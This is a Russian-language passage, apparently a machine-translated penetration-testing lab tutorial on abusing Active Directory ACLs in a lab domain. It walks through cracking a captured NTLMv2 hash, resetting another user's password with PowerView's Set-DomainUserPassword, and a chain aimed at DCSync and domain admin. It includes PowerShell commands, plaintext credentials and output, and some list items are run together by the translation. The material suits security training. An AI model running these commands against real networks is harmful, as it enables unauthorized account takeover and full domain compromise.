Еще раз, чтобы напомнить, где мы находимся и куда хотим попасть. Мы контролируем wley
пользователя, хэш NTLMv2 которого мы восстановили, запустив Responder ранее в ходе оценки. К счастью для нас, этот пользователь использовал слабый пароль, и мы смогли взломать хэш в автономном режиме с помощью Hashcat и получить значение открытого текста. Мы знаем, что можем использовать этот доступ для запуска цепочки атак, в результате которой мы получим контроль над adunn
пользователем, который может выполнить атаку DCSync, что даст нам полный контроль над доменом, позволяя нам извлекать хэши паролей NTLM для всех пользователей в домене и повышать привилегии до администратора домена / предприятия и даже добиться закрепления. Чтобы выполнить цепочку атак, мы должны сделать следующее:
wley
пользователя, чтобы изменить пароль для damundsen
пользователяdamundsen
пользователь и используйте GenericAll
права для добавления пользователя, которого мы контролируем, в Help Desk Level 1
группуInformation Technology
группе и используйте GenericAll
права для получения контроля над adunn
пользователемИтак, сначала мы должны пройти аутентификацию от имени wley
и принудительно изменить пароль пользователя damundsen
. Мы можем начать с открытия консоли PowerShell и аутентификации от имени wley
пользователя. В противном случае мы могли бы пропустить этот шаг, если бы мы уже работали от имени этого пользователя. Для этого мы можем создать PSCredential object.
Тактика злоупотребления ACL
PS C:\\htb> $SecPassword = ConvertTo-SecureString 'transporter@4' -AsPlainText -Force
PS C:\\htb> $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\\wley', $SecPassword)
Далее мы должны создать объект SecureString, который представляет пароль, который мы хотим установить для целевого пользователя damundsen
.
Тактика злоупотребления ACL
PS C:\\htb> $damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
Наконец, мы воспользуемся функцией Set-DomainUserPassword PowerView для изменения пароля пользователя. Нам нужно использовать -Credential
флаг с объектом учетных данных, который мы создали для wley
пользователя. Лучше всегда указывать флаг -Verbose
, чтобы получать обратную связь о выполнении команды должным образом или как можно больше информации об ошибках. Мы могли бы сделать это с хоста атаки Linux, используя такой инструмент, как pth-net
, который является частью pth-toolkit.
Тактика злоупотребления ACL
PS C:\\htb> cd C:\\Tools\\
PS C:\\htb> Import-Module .\\PowerView.ps1
PS C:\\htb> Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'damundsen'
VERBOSE: [Set-DomainUserPassword] Password for user 'damundsen' successfully reset
Мы видим, что команда успешно завершена, изменив пароль для целевого пользователя при использовании учетных данных, которые мы указали для wley
пользователя, которого мы контролируем. Далее нам нужно выполнить аналогичный процесс для аутентификации в качестве damundsen
пользователя и добавить себя в Help Desk Level 1
группу.